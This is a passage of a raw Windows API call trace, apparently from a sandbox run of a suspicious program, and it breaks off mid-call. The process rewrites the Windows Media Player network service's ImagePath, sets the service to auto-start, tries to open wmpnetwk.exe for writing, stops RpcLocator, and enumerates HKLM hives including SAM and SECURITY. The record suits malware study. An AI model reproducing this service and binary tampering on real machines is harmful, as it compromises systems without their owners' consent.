0x0 [0258.188] ExpandEnvironmentStringsA (in: lpSrc="\"%PROGRAMFILES%\\Windows Media Player\\wmpnetwk.exe\"", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0258.189] ExpandEnvironmentStringsA (in: lpSrc="\"%PROGRAMFILES%\\Windows Media Player\\wmpnetwk.exe\"", lpDst=0x21f1a90, nSize=0x3c | out: lpDst="\"C:\\Program Files (x86)\\Windows Media Player\\wmpnetwk.exe\"") returned 0x3b [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0258.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0258.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0258.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.189] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Windows Media Player\\wmpnetwk.exe\"", cbData=0x3b | out: lpData="\"C:\\Program Files (x86)\\Windows Media Player\\wmpnetwk.exe\"") returned 0x0 [0258.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.189] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files (x86)\\Windows Media Player\\wmpnetwk.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files (x86)\\Windows Media Player\\wmpnetwk.exe" [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0258.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0258.189] LocalFree (hMem=0x7f03d0) returned 0x0 [0258.189] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Windows Media Player\\wmpnetwk.exe\"", cbData=0x3b | out: lpData="\"C:\\Program Files (x86)\\Windows Media Player\\wmpnetwk.exe\"") returned 0x0 [0258.189] OpenServiceW (hSCManager=0x803918, lpServiceName="WMPNetworkSvc", dwDesiredAccess=0x2) returned 0x803990 [0258.232] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0258.251] CloseServiceHandle (hSCObject=0x803990) returned 1 [0258.251] RegCloseKey (hKey=0x148) returned 0x0 [0258.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0258.251] RegCloseKey (hKey=0xc4) returned 0x0 [0258.251] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0258.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0258.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600)) returned 1 [0258.252] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0258.252] GetLastError () returned 0x5 [0258.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0258.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0258.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0258.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0258.258] NtClose (Handle=0xc4) returned 0x0 [0258.258] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0258.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0258.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0258.460] NtClose (Handle=0xc4) returned 0x0 [0258.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0258.460] NtClose (Handle=0x148) returned 0x0 [0258.460] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x2710) returned 0x0 [0258.851] NtClose (Handle=0x14c) returned 0x0 [0258.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0258.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.851] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0258.851] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600)) returned 1 [0258.851] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0258.851] GetLastError () returned 0x5 [0258.851] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0258.852] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0258.852] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0258.852] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x8038a0 [0258.852] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0258.853] GetLastError () returned 0x425 [0258.853] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0258.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0258.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0258.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0258.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0258.853] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0258.853] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0258.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0258.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0258.853] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.853] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.854] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.854] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.855] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.855] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.855] RegCloseKey (hKey=0x80000002) returned 0x0 [0258.855] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.855] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0258.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.856] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.856] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.856] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0258.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.856] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.857] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.857] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.857] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0258.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0258.857] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0258.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0258.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, 